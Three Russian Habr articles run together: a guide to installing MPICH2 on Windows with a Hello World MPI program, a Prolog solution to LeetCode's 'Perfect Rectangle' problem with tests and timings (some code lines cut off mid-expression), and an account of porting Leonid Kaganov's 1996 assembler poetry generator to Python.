Первый вариант обладает большими возможностями, но библиотека MPI существенно проще и, в действительности, шире применяется в параллельных вычислениях. MPI представляет собой стандарт некоторого набора функций для обмена сообщениями между процессами одного приложения. Существует бесплатная реализация данной библиотеки MPICH2, которая будет использоваться в данной статье. Вы модете найти большое количество мануалов и руководств по функциям библиотеки. Сейчас я остановлюсь только на установке и проверке работоспособности.
Установка библиотеки MPICH2 под Windows
=======================================
Для того чтобы начать работу с библиотекой MPICH2, необходимо скачать совместимую с используемой операционной системой версию продукта [здесь](ftp://ftp.mcs.anl.gov/pub/mpi). Для ОС Windows – это установочный пакет формата MSI, поэтому инсталляция библиотеки проходит стандартным образом. Важно, что установку в этом случае надо проводить для всех пользователей системы.
Теперь необходимо добавить два основных исполняемых файла библиотеки mpiexec.exe и smpd.exe в список правил брандмауэра. Это необходимо, поскольку, при организации кластера используется сеть и доступ к каждому узлу сети должен быть разрешен для компонентов MPI. Конкретные настройки зависят от типа используемого брандмауэра.
На следующем этапе необходимо создать пользователя в системе, от имени которого будут исполняться компоненты библиотеки. Важно, что данный пользователь обязательно должен иметь свой пароль, т.к. MPICH2 не позволяет зарегистрировать исполняющего пользователя с пустым паролем. Регистрация осуществляется с помощью компонента *wmpiregister.exe*, находящегося в папке *bin* библиотеки и имеющего понятный оконный интерфейс:
Однако, это возможно сделать, используя консольную команду *[путь\_к\_библиотеке]/bin/mpiexec -register*.
Установка практически завершена. Осталось проверить правильность всех сделанных настроек. Для этой цели в папке *examples* есть примеры программ с параллельными алгоритмами. Для запуска можно использовать компонент *wmpiexec.exe*, который использует оконный интерфейс, который не нуждается в дополнительных комментариях.
Другой путь для исполнения приложений с использованием MPI – через консоль, например, написав подобную команду *[путь\_к\_библиотеке]/bin/mpiexec -n 2 cpi.exe*, где *-n 2* указывает количество задействованных процессов (здесь их 2), а *cpi.exe* – это имя исполняемого приложения. Для простоты работы через консоль советую добавить в переменную окружения *PATH* путь к *mpiexec.exe*. Если выполнение приложения производится на однопроцессорной машине, то происходит эмуляция многопроцессорности, т.е. проверять работоспособность своих приложений можно «не отходя от кассы».
Проверка работоспособности
==========================
В качестве IDE для разработки используется MVS 2005. Напишем программу, которая будет привествовать этот мир от имени разных новорожденных процессов процессов. Для этого используется пустой проект (empty project) с изменением некоторых настроек проекта.
Итак, в первую очередь добавим директории, где будут лежать подключаемые заголовочные файлы и файлы библиотеки. Если кто-то не знает, то делается это следующим образом:* Выбираем пункт меню Tools => Options.
* В дропдауне “Show directories for:” выбираем пункт “Include files”.
* Добавляем *[путь\_к\_библиотеке]\Include*
* В дропдауне “Show directories for:” выбираем пункт “Library files”.
* Добавляем *[путь\_к\_библиотеке]\Lib*
* В Solution Explorer кликаем правой кнопкой мыши на проекте и выбираем add => existing item. Выбираем все файлы с расширением .lib в папке *[путь\_к\_библиотеке]\Lib*
Проект полностью готов для работы с MPI. Могу посоветовать создавать фильтр для файлов библиотеки, добавленных в проект, чтобы они не мешались. Теперь добавим cpp файл с кодом приложения:
> `#include "stdio.h"
>
> #include "mpi.h"
>
> #include "stdlib.h"
>
> #include "math.h"
>
>
>
> int ProcNum;
>
> int ProcRank;
>
>
>
> int main(int argc, char \*argv[]){
>
> MPI\_Status status;
>
>
>
> MPI\_Init(&argc, &argv);
>
> MPI\_Comm\_rank(MPI\_COMM\_WORLD, &ProcRank);
>
> MPI\_Comm\_size(MPI\_COMM\_WORLD, &ProcNum);
>
>
>
> printf("From process %i: Hello, World!\n", ProcRank);
>
>
>
> MPI\_Finalize();
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Компилируем его и запускаем полученный бинарник через *wmpiexec* на 4 процессах.
Как видим, мир поприветствовал каждый рождённый процесс.
Я умышленно приводил код без каких либо комментариев, а только с целью демонстрации работы библиотеки. В будущем я планирую посвятить статью списку функций MPI. Также интересной является тема избыточной параллельности и, вообще, вопрос когда стоит распарарллеливать приложение, а когда нет. Эти исследования также будут приведены позже. Поэтому у меня возник основной вопрос — сфера применимости в web технологиях? Пока мой интерес к параллельным вычислениям вызван другой проблемой: ускорение моделирования разного рода процессов. | https://habr.com/ru/post/47795/ | null | ru | null |
# Просто о Прологе
Привет, трудящиеся. Не буду надолго задерживать ваше внимание объяснением декларативного подхода, попробую предложить решить еще одну задачку используя язык логического программирования, как вариант декларативного взгляда на формулировку проблем и их решений.
Задача 391. [Perfect Rectangle](https://leetcode.com/problems/perfect-rectangle)
================================================================================
> Given N axis-aligned rectangles where N > 0, determine if they all together form an exact cover of a rectangular region.
>
> Each rectangle is represented as a bottom-left point and a top-right point. For example, a unit square is represented as [1,1,2,2]. (coordinate of bottom-left point is (1, 1) and top-right point is (2, 2)).
>
> 
>
> Example 1: rectangles = [
>
> [1,1,3,3],
>
> [3,1,4,2],
>
> [3,2,4,4],
>
> [1,3,2,4],
>
> [2,3,3,4]]
>
> Return true. All 5 rectangles together form an exact cover of a rectangular region.
>
> …
>
> Example 3:rectangles =
>
> [ [1,1,3,3],
>
> [3,1,4,2],
>
> [1,3,2,4],
>
> [3,2,4,4]]
>
> Return false. Because there is a gap in the top center.
В раздумьях над формулировкой проходит второй день, это конечно не недельные занятия над включением [винтажных ламп](https://habr.com/ru/post/450246/), но все же хочу представить результаты работы над задачей. Понадобилось несколько попыток, чтобы решить все имеющиеся тесты.
Исходные данные представлены списком, напомню коротко, *список это — [Голова|Хвост], где Хвост- список, также список бывает пустым []*.
Формулируем 1
=============
Нужно подсчитать общую площадь всех прямоугольников, найти максимальный размер описывающего их всех прямоугольника и сверить эти две суммы, если равно значит все прямоугольники накрыли равномерно площадь. В это же время проверим, что прямоугольники не пересекаются, каждый новый прямоугольник будем добавлять в список, он по условию не должен накладываться и пересекать все предыдущие.
Для этого применяю хвостовую рекурсию(она же, рекурсия на спуске), самый "императивный" способ представить цикл. В одном таком "цикле", найдем сразу общую сумму площадей и минимальный левый и максимальный правый угол описывающего прямоугольника, походу, накапливая общий список фигур, проверяя, чтобы не было пересечений.
Вот так:
```
findsum([], Sres,Sres,LConerRes,LConerRes,RConerRes,RConerRes,_).
findsum([[Lx,Ly,Rx,Ry]|T], Scur,Sres,LConerCur,LConerRes,RConerCur,RConerRes,RectList):-
mincon(Lx:Ly,LConerCur,LConerCur2),
maxcon(Rx:Ry,RConerCur,RConerCur2),
Scur2 is Scur+(Rx-Lx)*(Ry-Ly),
not(chekin([Lx,Ly,Rx,Ry],RectList)),
findsum(T, Scur2,Sres,LConerCur2,LConerRes,RConerCur2,RConerRes,[[Lx,Ly,Rx,Ry]|RectList]).
```
У Пролога переменные — это неизвестные, их нельзя изменить, они или пусты или приняли значение, отсюда требуется пара переменных, начальная и результирующая, когда добираемся до конца списка, текущее значение станет результирующим (первая строка правила). В отличие от императивных языков, для ~~поддержки~~ понимания строки программы надо вообразить весь путь, который к ней привел, и все переменные могут иметь свою "историю" накопления, тут же, каждая строка программы только в контексте текущего правила, всё состояние, которое на нее повлияло ~~налицо~~ вход правила.
Итак:
```
%самый левый угол
mincon(X1:Y1,X2:Y2,X1:Y1):-X1==X2,Y1>=Y2,!.
maxcon(\_,X2:Y2,X2:Y2).
```
Тут для представления угла использован "структурированный терм" вида X:Y, это возможность соединить несколько значений в структуру, так сказать кортеж, только функтором может выступать любая операция. А *отсечение* "!", позволяет во второй строке правила не указывать условие, это способ повысить эффективность вычислений.
И как оказалось далее, самое важно — проверка непересечения прямоугольников, накапливаются они в списке:
```
%обход всех элементов списка
chekin(X,[R|_]):-cross(X,R),!.
chekin(X,[_|T]):-chekin(X,T).
%пересечение одного с другим или наоборот, или накладываются полностью
cross(X,X):-!.
cross(X,Y):-cross2(X,Y),!.
cross(X,Y):-cross2(Y,X).
%пересекаются, если вершина одного прямоугольника внутри другого
cross2([X11,Y11,X12,Y12],[X21,Y21,X22,Y22]):-X11
```
Пересечение прямоугольников, это четыре варианта попадания вершины первого внутрь другого.
И финальное высказывание:
```
isRectangleCover(Rects):-
[[Lx,Ly,Rx,Ry]|_]=Rects,
findsum(Rects,0,S,Lx:Ly,LconerX:LconerY,Rx:Ry,RconerX:RconerY,[]),!,
S=:= (RconerX-LconerX)*(RconerY-LconerY).
```
На входе список фигур, первую берем для начальных значений левого и правого угла, выполняем обход всех, подсчитав общую площадь, и сверяем полученные суммы. Замечу, если произошло пересечение прямоугольников, то поиск суммы "откажет", вернет "фолс", это значит что и сверять суммы нечего. То же происходит, если во входном списке не будет ни одной фигуры, будет отказ, нечего сверять...
Далее эту реализацию, запускаю на имеющихся тестах, привожу первые 40:
```
%unit-tests framework
assert_are_equal(Goal, false):-get_time(St),not(Goal),!,get_time(Fin),Per is round(Fin-St),writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, true):- get_time(St),Goal, !,get_time(Fin),Per is round(Fin-St),writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, Exp):-writeln(Goal->failed:expected-Exp).
:-assert_are_equal(isRectangleCover([[1,1,3,3],[3,1,4,2],[3,2,4,4],[1,3,2,4],[2,3,3,4]]),true).
:-assert_are_equal(isRectangleCover([[1,1,2,3],[1,3,2,4],[3,1,4,2],[3,2,4,4]]),false).
:-assert_are_equal(isRectangleCover([[1,1,3,3],[3,1,4,2],[1,3,2,4],[3,2,4,4]]),false).
:-assert_are_equal(isRectangleCover([[1,1,3,3],[3,1,4,2],[1,3,2,4],[2,2,4,4]]),false).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[0,0,4,1]]),false).
```
**и еще...**
```
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,2],[6,2,8,3],[5,1,6,3],[4,0,5,1],[6,0,7,2],[4,2,5,3],[2,1,4,3],[0,1,2,2],[0,2,2,3],[4,1,5,2],[5,0,6,1]]),true).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,2],[5,1,6,3],[6,0,7,2],[4,0,5,1],[4,2,5,3],[2,1,4,3],[0,2,2,3],[0,1,2,2],[6,2,8,3],[5,0,6,1],[4,1,5,2]]),true).
:-assert_are_equal(isRectangleCover([[0,0,4,1]]),true).
:-assert_are_equal(isRectangleCover([[0,0,3,3],[1,1,2,2]]),false).
:-assert_are_equal(isRectangleCover([[1,1,2,2],[1,1,2,2],[2,1,3,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,1,3,2],[1,0,2,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,1,1,2],[0,2,1,3],[0,3,1,4]]),true).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[1,0,2,1],[2,0,3,1],[3,0,4,1]]),true).
:-assert_are_equal(isRectangleCover([[0,0,2,2],[1,1,3,3],[2,0,3,1],[0,3,3,4]]),false).
:-assert_are_equal(isRectangleCover([[0,0,3,1],[0,1,2,3],[1,0,2,1],[2,2,3,3]]),false).
:-assert_are_equal(isRectangleCover([[1,1,3,3],[2,2,4,4],[4,1,5,4],[1,3,2,4]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,0,2,1],[1,0,2,1],[0,2,2,3]]),false).
:-assert_are_equal(isRectangleCover([[0,0,2,1],[0,1,2,2],[0,2,1,3],[1,0,2,1]]),false).
:-assert_are_equal(isRectangleCover([[1,1,2,2],[0,1,1,2],[1,0,2,1],[0,2,3,3],[2,0,3,3]]),false).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,2],[6,2,8,3],[5,1,6,3],[6,0,7,2],[4,2,5,3],[2,1,4,3],[0,1,2,2],[0,2,2,3],[4,1,5,2],[5,0,6,1]]),false).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,2],[5,1,6,4],[6,0,7,2],[4,0,5,1],[4,2,5,3],[2,1,4,3],[0,2,2,3],[0,1,2,2],[6,2,8,3],[5,0,6,1],[4,1,5,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,3],[5,1,6,3],[6,0,7,2],[4,0,5,1],[4,2,5,3],[2,1,4,3],[0,2,2,3],[0,1,2,2],[6,2,8,3],[5,0,6,1],[4,1,5,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,5,1],[7,0,8,2],[5,1,6,3],[6,0,7,2],[4,0,5,1],[4,2,5,3],[2,1,4,3],[0,2,2,3],[0,1,2,2],[6,2,8,3],[5,0,6,1],[4,1,5,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,0,1,1],[0,2,1,3]]),false).
:-assert_are_equal(isRectangleCover([[0,0,3,3],[1,1,2,2],[1,1,2,2]]),false).
:-assert_are_equal(isRectangleCover([[1,1,4,4],[1,3,4,5],[1,6,4,7]]),false).
:-assert_are_equal(isRectangleCover([[0,0,3,1],[0,1,2,3],[2,0,3,1],[2,2,3,3]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,0,1,1],[1,1,2,2],[1,1,2,2]]),false).
:-assert_are_equal(isRectangleCover([[1,1,2,2],[1,1,2,2],[1,1,2,2],[2,1,3,2],[2,2,3,3]]),false).
:-assert_are_equal(isRectangleCover([[1,1,2,2],[2,1,3,2],[2,1,3,2],[2,1,3,2],[3,1,4,2]]),false).
:-assert_are_equal(isRectangleCover([[0,1,2,3],[0,1,1,2],[2,2,3,3],[1,0,3,1],[2,0,3,1]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,2,1,3],[1,1,2,2],[2,0,3,1],[2,2,3,3],[1,0,2,3],[0,1,3,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,0,1,1],[0,0,1,1],[0,0,1,1],[0,0,1,1],[0,0,1,1],[0,0,1,1],[0,0,1,1],[2,2,3,3]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[0,1,1,2],[0,2,1,3],[1,0,2,1],[1,0,2,1],[1,2,2,3],[2,0,3,1],[2,1,3,2],[2,2,3,3]]),false).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,2],[5,1,6,3],[6,0,7,2],[2,1,4,3],[0,2,2,3],[0,1,2,2],[6,2,8,3],[5,0,6,1]]),false).
:-assert_are_equal(isRectangleCover([[0,0,4,1],[7,0,8,2],[5,1,6,3],[6,0,7,2],[4,0,5,1],[4,2,5,3],[2,1,4,3],[-1,2,2,3],[0,1,2,2],[6,2,8,3],[5,0,6,1],[4,1,5,2]]),false).
:-assert_are_equal(isRectangleCover([[0,0,1,1],[1,0,2,1],[1,0,3,1],[3,0,4,1]]),false).
:-assert_are_equal(isRectangleCover([[1,2,4,4],[1,0,4,1],[0,2,1,3],[0,1,3,2],[3,1,4,2],[0,3,1,4],[0,0,1,1]]),true).
```
И это еще не конец, задача из раздела "хард", в 41 тесте предлагают список из 10000 прямоугольников, во всех последних пяти тестах получаю такие времена в секундах:
```
test 41:length=10000
goal->ok:212/sec
test 42:length=3982
goal->ok:21/sec
test 43:length=10222
goal->ok:146/sec
test 44:length=10779
goal->ok:41/sec
test 45:length=11000
goal->ok:199/sec
```
Привести входящие значения не могу, в редактор они не помещаются, прикреплю вот так [тест 41](https://raw.githubusercontent.com/ProloGoGo/PerfectRectangle/master/41).
Формулировка 2
==============
Предыдущий подход, использовать список для накопления фигур, оказывается сильно неэффективным, какое напрашивается изменение — вместо сложности n^2 сделать n\*log(n). Для проверки пересечений списка прямоугольников можно использовать дерево.
Бинарное дерево для Пролога, это также структурированный терм, и как список он рекурсивно определен, *дерево оно пустое или содержит значение и два поддерева*.
Использую для этого трехместный функтор: t(LeftTree, RootValue, RightTree), а пустое дерево будет [].
Простое дерево из чисел, с упорядочением слева меньшие, а справа большие, можно выразить вот так:
```
add_to_tree(X,[],t([],X,[])).
add_to_tree(X,t(L,Root,R),t(L,Root,NewR)):- X
```
В классической книге И.Братко "Программирование на языке Пролог для искусственного интеллекта" приведено множество реализаций деревьев 2-3, сбалансированные АВЛ…
Вопрос упорядочения прямоугольников предлагаю решать так: если прямоугольник находиться правее другого, то они не пересекаются, а те что левее надо проверять на пересечение. А правее, это когда правый угол одного меньше левого угла второго:
```
righter([X1,_,_,_],[_,_,X2,_]):-X1>X2.
```
И задача накопления фигур в дерево, плюс проверка на пересечение может выглядеть вот так, когда новый прямоугольник правее находящегося в корне, тогда проверять надо справа иначе проверять пересечения слева:
```
treechk(X,[],t([],X,[])).
treechk([X1,Y1,X2,Y2],t(L,[X1,Y11,X2,Y22],R),t(L,[X1,Yr,X2,Yr2],R)):- (Y1=Y22;Y2=Y11),!,Yr is min(Y1,Y11),Yr2 is max(Y2,Y22). %union
treechk(X,t(L,Root,R),t(L,Root,NewR)):- righter(X,Root),!,treechk(X,R,NewR).
treechk(X,t(L,Root,R),t(NewL,Root,R)):- not(cross(X,Root)),treechk(X,L,NewL).
```
Тут же учтена еще одну ~~хитрость~~ особенность, *если прямоугольники совпадают по ширине, и имеют общую грань, то их можно объединить в один* и не добавлять в дерево, а просто изменить в одном узле размер прямоугольника. К этому подталкивает тест 41, там такого вида данные: [[0,-1,1,0],[0,0,1,1],[0,1,1,2],[0,2,1,3],[0,3,1,4],[0,4,1,5],[0,5,1,6],[0,6,1,7],[0,7,1,8],[0,8,1,9],[0,9,1,10],[0,10,1,11],[0,11,1,12],[0,12,1,13],[0,13,1,14],...,[0,9998,1,9999]].
Эти усовершенствования соединим с предыдущим решением, привожу полностью, с некоторыми улучшениями:
```
treechk(X,[],t([],X,[])).
treechk([X1,Y1,X2,Y2],t(L,[X1,Y11,X2,Y22],R),t(L,[X1,Yr,X2,Yr2],R)):- (Y1=Y22;Y2=Y11),!,Yr is min(Y1,Y11),Yr2 is max(Y2,Y22). %union
treechk(X,t(L,Root,R),t(L,Root,NewR)):- righter(X,Root),!,treechk(X,R,NewR).
treechk(X,t(L,Root,R),t(NewL,Root,R)):- not(cross(X,Root)),treechk(X,L,NewL).
righter([X1,_,_,_],[_,_,X2,_]):-X1>X2.
findsum([],Sres,Sres,LConerRes,LConerRes,RConerRes,RConerRes,_).
findsum([[Lx,Ly,Rx,Ry]|T],Scur,Sres,LConerCur,LConerRes,RConerCur,RConerRes,RectTree):-
coner(Lx:Ly,LConerCur,=<,LConerCur2),
coner(Rx:Ry,RConerCur,>=,RConerCur2),
Scur2 is Scur+abs(Rx-Lx)*abs(Ry-Ly),
treechk([Lx,Ly,Rx,Ry],RectTree,RectTree2),!,
findsum(T,Scur2,Sres,LConerCur2,LConerRes,RConerCur2,RConerRes,RectTree2).
isRectangleCover(Rects):-
[[Lx,Ly,Rx,Ry]|_]=Rects,
findsum(Rects,0,S,Lx:Ly,LconerX:LconerY,Rx:Ry,RconerX:RconerY,[]),!,
S=:= abs(RconerX-LconerX)*abs(RconerY-LconerY).
coner(X1:Y1,X2:Y2,Dir,X1:Y1):-apply(Dir,[X1,X2]),apply(Dir,[Y1,Y2]),!.
coner(_,XY,_,XY).
cross(X,X):-!.
cross(X,Y):-cross2(X,Y),!.
cross(X,Y):-cross2(Y,X).
cross2([X11,Y11,X12,Y12],[_,_,X22,Y22]):-X11
```
Вот такое время выполнения "тяжелых" тестов:
```
goal-true->ok:0/sec
41:length=10000
goal-true->ok:0/sec
42:length=3982
goal-true->ok:0/sec
43:length=10222
goal-true->ok:2/sec
44:length=10779
goal-false->ok:1/sec
45:length=11000
goal-true->ok:1/sec
```
На этом совершенствования закончу, все тесты проходят верно, время удовлетворительное. Кто заинтересовался, предлагаю попробовать [онлайн](https://swish.swi-prolog.org/p/Perfect%20Rectangle.pl) или [тут](https://github.com/ProloGoGo/PerfectRectangle).
Итого
=====
Статьи связанные с функциональным программированием, с постоянной частотой встречаются на портале. Я затрагиваю, еще один аспект декларативного подхода — логическое программирование. Можно представлять задачи с помощью логического описания, есть факты и правила, посылки и следствия, отношения и рекурсивные отношения. Описание задачи нужно превратить в набор отношений ее описывающих. Результат — это следствие разложения проблемы на более простые составляющие.
Программой на декларативном языке, можно пользоваться как набором высказываний, которые должны сконструировать результат, решение задачи в ее удачной формулировке. А оптимизация может состоять, например, в том, что "беглое" описание способа контроля пересечений прямоугольников, может потребовать уточнения, доступно сконструировать древовидную структуру, для более эффективных вычислений.
И… куда-то пропал Prolog из стилей исходного кода, еще полгода назад я им пользовался. Пришлось указывать "родственный" Erlang. А не похоже ли это на "популярность", в списке нет и Фортрана с Бейсиком, что это рейтинг языков? | https://habr.com/ru/post/450466/ | null | ru | null |
# Поэтический дискурс с привкусом реверс-инжиниринга
*«Старик Ассемблер нас заметил,
И в гроб сходя, благословил»*
Однажды я решил написать программу, сочиняющую стихи. Алгоритм придумался быстро – в конце сочиняемых строф ставить рифмующиеся слова, а остальную часть строфы заполнять словами с учетом рифмы, ритма, и вероятности их нахождения рядом с другими словами, взятыми из готовых связных текстов. Эдакие марковские цепи с прикрученными к ним рифмами.
Перед тем, как реализовывать алгоритм, я решил посмотреть, что уже создано другими. Первым в Яндекс-поиске нашелся (кто бы сомневался!) [Яндекс.Автопоэт](https://yandex.ru/autopoet), использующий обученные на стихах классиков нейронные сети. Вторым пунктом шла программа «Помощник поэта», при ближайшем рассмотрении оказавшаяся обычным словарем рифм. А вот на третьем месте был сайт известного писателя и матерого фидошника Lleo aka Леонида Каганова.
Почему он там оказался? Потому, что в бытность студентом Горного института, Lleo написал сочиняющую стихи программу в качестве дипломной работы. Не знаю, насколько поэтичной была защита такого диплома, но программа, по-видимому, работала неплохо – на сайте автора были выложены написанные ею стихи. Там же нашлась и сама программа, работала она под MS-DOS и 32-битным расширителем DOS/4GW. Были выложены также и исходники этой версии. Из пояснительной записки к диплому я узнал, что была также версия под OS/2, видимо, даже с графическим интерфейсом, но ее исходников не нашлось. Зато MS-DOS-версию можно было запустить под DOSBox и увидеть ее в действии: она действительно выдавала рифмованные и довольно связные стихи, хотя и не очень осмысленные. Для 1996 года, когда Lleo написал эту программу, такой уровень автогенерированных стихов был очень крут. На мой взгляд, они даже не сильно хуже стихов Яндекс.Автопопоэта. А может быть Lleo и стал известным писателем с помощью доработанной версии своей программы?! (Скандалы, интриги, расследования! Шучу, конечно, но кто знает…).
Я стал изучать как работает эта программа. Для сочинения стихов ей было нужно 2 файла – база слов и разметка рифм и размера сочиняемых виршей. Исходники были на Ассемблере, около 3500 строк исходников под TASM. Автор программы написал по этому поводу: «я остановил свой выбор для решения большинства задач именно на Ассемблере. Именно на нем я выполнял все учебные работы, позволяющие выбирать язык программирования. Главным образом потому, что мне писать и отлаживать программу на этом языке быстрее и проще — он позволяет более гибко взаимодействовать с машиной». И тут я полностью согласен – Ассемблер очень гибок, и не навязывает какую-либо парадигму программирования. Хотя конечно же, быстрее писать программы на современных языках, собирая их из готовых библиотек-кубиков. В исходниках имелись все характерные приметы Ассемблерных программ того времени – короткие не всегда вразумительные, понятные только автору названия переменных и функций; фиксированные размеры используемых массивов с комментарием «наверное хватит»; куча глобальных переменных, и местами остроумные авторские комментарии и сообщения об ошибках, вроде «Творческий кризис!!!» в тот момент, когда у программы кончаются слова для подбора рифм. Вот в таком духе:
```
@@punkt13:
;call io
;db 13,10,'{{F_LEVEL}}=',0
;movzx eax,[F_LEVEL]
;call pr_dec
cmp [nomer_LEVEL],0 ;13) Если слово не оконечное ■ к 16
jne @@punkt16
;call io
;db 13,10,'ОШИБКА ПОИСКА РИФМЫ',0
;call key
cmp [F_LEVEL],0 ;13.0) если ■сфера поиска■ = вся база
jne @@punkt14
cmp [FREE_RHYME],0 ;13.1) Если и рифма была свободная, то
je @@error_twor ;■ТВОРЧЕСКИЙ КРИЗИС■, конец
stc
ret ;вернуться с неудачей
@@punkt14:
cmp [F_LEVEL],1 ;14) ;Если ■сфера поиска■ = ■заданная тематика■, то
je @@565656
;call io
;db 13,10,'поиск шел в АССОЦИАЦИЯХ, теперь будет в теме',0
```
Тут-то все и началось – увлекшись изучением исходников, я забыл о том, что изначально собирался реализовать алгоритм с нуля, а, вспомнив собственные ассемблерные программы, решил портировать алгоритм Lleo на современный язык программирования. Тем более, что этот алгоритм сильно походил на тот, что я задумывал. В качестве языка для портирования я выбрал Python – на нем очень удобно работать с текстом.
Разбор программы начался с того, что я прошелся по коду и убрал весь закомментированный код, его там было много. Оставил только закомментированный отладочный вывод – он помогал понять что происходит в данном месте программы. Далее я удалил все сугубо служебные вызовы, наподобие получения ключей командной строки и файлового ввода-вывода. Теперь, когда остался только код, касающийся алгоритма, я стал в нем разбираться и портировать на Python. У тех функций, назначение которых было ясно, я сразу заменил названия на понятные или, переписав на Python, удалил ассемблерный код. Остальные — стал построчно переводить на Python. Построчно, конечно, сильно сказано — в программе широко использовались глобальные переменные состояния, и, чтобы такого не было в Python-коде, во многих местах алгоритм приходилось полностью переписывать, без оглядки на строки оригинальной программы. На этом этапе код выглядел таким образом — еще не Python, но уже не Ассемблер:
```
randomValue = init random(777)
if curMode=='C':
print'НАПИСАНИЕ СТИХОТВОРЕНИЯ',13,10,' база: ',0
BASEname
NAME_SHABLON
call loadBASE
call CREATE
else if curMode=='U':
print'ПРОДОЛЖИТЬ РАССТАНОВКУ УДАРЕНИЙ',13,10,' база: ',0
call loadBASE
call stat
call setUdarenie_N
call saveBASE
# call automat - автом расст удар
# jmp @@udara1
return
```
К сожалению, сразу я не догадался заглянуть в текст пояснительной записки к диплому, будучи уверенным, что там написана стандартная лабуда про экономическое обоснование. Из-за этого, собственно алгоритм стихов и формат базы данных слов, я буквально реверс-инжинирил – по вразумительности названий переменных и функций, исходники программы не очень далеко ушли от листинга дизассемблера. Хотя в целом, алгоритм стихов и формат словесной базы описаны в [дипломной записке](https://lleo.me/soft/text_dip.htm). Каюсь и посыпаю голову пеплом. Хорошо, что их разбор заняло не больше пары-тройки вечеров. Кроме того, в документации оказались далеко не все детали формата и алгоритма, так что позже реверс-инжиниринг продолжился. Для работы с бинарными данными, в Python нашлась очень удобная функция unpack. И, немного повозившись с порядком байт данных в данных (естественно тут он little endian, так как программа написана под Intel-процессор), я смог загрузить словесную базу. Формат файла с ритмом стиха был текстовым, и очень простым, код его загрузки разбирать не понадобилось.
Теперь следовало разобраться в собственно алгоритме написания стихов. Как уже я писал выше, в целом, он был описан в пояснительной записке, но некоторых деталей там не было. Например, то, что шаблон стиха задан в обратном порядке – от конца строфы, к началу. Так же, как и то, что латинская буква ‘p’ везде заменяется на русскую 'р' – наследие FIDO, где с русской «р» был глюк, и ее везде заменяли на латинскую, так что в скачанных из FIDO русскоязычных текстах «р» везде была латинской, и ее следовало преобразовать обратно в русскую. Ну и другие подобные мелочи. В целом же, алгоритм был похож на описанные в начале статьи марковские цепи с рифмами, но выделялся тем, что использовал стек для сохранения состояния во время написания строфы, с возможностью отката состояний в том случае, если алгоритм зайдет в тупик, не найдя слова с нужным ударением и количеством слогов. В коде была также видна попытка сделать сочинение стихов на заданную тему, для чего выбиралось начальное слово этой темы, и дальше поиск шел по связанным с ним словам. Но похоже, эта фича так и не заработала, и в функции `make_RND_FIELD_TEMA` остался только 1 захардкоденный индекс слова, с которого программа начинает подбор слов.
В процессе разбора программы встречались забавные моменты.
Например, в начале программы шел такой фрагмент:
```
jmp @@skip ; Это...
db 'WATCOM' ; И это нужно для того, чтобы работало под DOS4GW
@@skip:
```
Дело в том, что 32-битный расширитель DOS/4GW был написан для программ, скомпилированных коммерческими компиляторами от Watcom, и сам являлся коммерческим продуктом. И то, что программа скомпилирована именно компилятором от Watcom, определялось по строке "Watcom" в начале кода программы. Если этой строки не было, то DOS/4GW работать отказывался. Справедливости ради, замечу, что продвинутые люди в то время пользовались расширителем PMODE/W by Tran, где такой ерунды нет, который заметно меньше по размеру, бесплатен, и умеет приписываться к программе, в то время, как DOS/4GW обычно лежит в виде отдельного исполняемого файла.
Был еще такой кусок кода:
```
proc bswap_eax ;я же не виноват, блин, что у 386 процессора нет bswap!
mov [bswap_mes],eax ;приходится извращаться...
```
Действительно, команды bswap на 80386 процессоре не было, она появилась, начиная с 80486 и оказалась очень удобна, например для конвертирования порядка байт little endian -> big endian. Так что народ писал такие вот функции и комментарии.
Еще один курьез приключился когда я тестировал алгоритм написания стиха. Для теста я задал такой конец строфы, чтобы в рифму однозначно подставилось слово "занято", которое я точно видел в файле БД слов. Однако эта рифма почему-то не находилась. Оказалось, что в БД записано слово "занят", а "о" в конце — это часть служебных данных — указатель на ассоциированное с ним слово. То, что это была буква «о» — просто случайное совпадение.
Когда написание стихов заработало, я быстренько запилил написание прозы – обычные марковские цепи, и захотелось бОльшего – чтобы моя программа умела сама генерировать из текста словесную базу, а не только пользоваться готовой от оригинальной программы. Генерации базы оказалась посвящена чуть ли не бОльшая часть программы, и по продуманности алгоритма работы, эта часть впечатлила меня сильнее, чем та, что сочиняет стихи. Фактически, она делает всю подготовительную работу для сочинения стихов: умеет из вводимого текста парсить слова, разбивать их на слоги, и даже автоматически расставлять ударения на основе ранее набранной статистики ручной расстановки ударений по слогам. Хотя, ударения ставятся далеко не всегда корректно. И, насколько мне известно, в русском языке нет какого-либо устойчивого правила расстановки ударений. База ударений хранилась в отдельном файле $$$$SLOG.BSY, формата которого в дипломной записке описано не было. Тут снова пришлось немного реверс-инжинирить.
Когда генерация базы данных слов заработала, уже можно было начать экспериментировать с различными текстами. В результате экспериментов, выяснилось, что взятый из программы алгоритм разбиения слов на слоги не всегда работает корректно, и я переписал его с нуля. Это позволило также доработать алгоритм получения рифмующегося окончания – теперь он работает именно со слогами и ударениями, а не просто идет до нужной по порядку гласной, полагаясь на этот признак для поиска нужного слога.
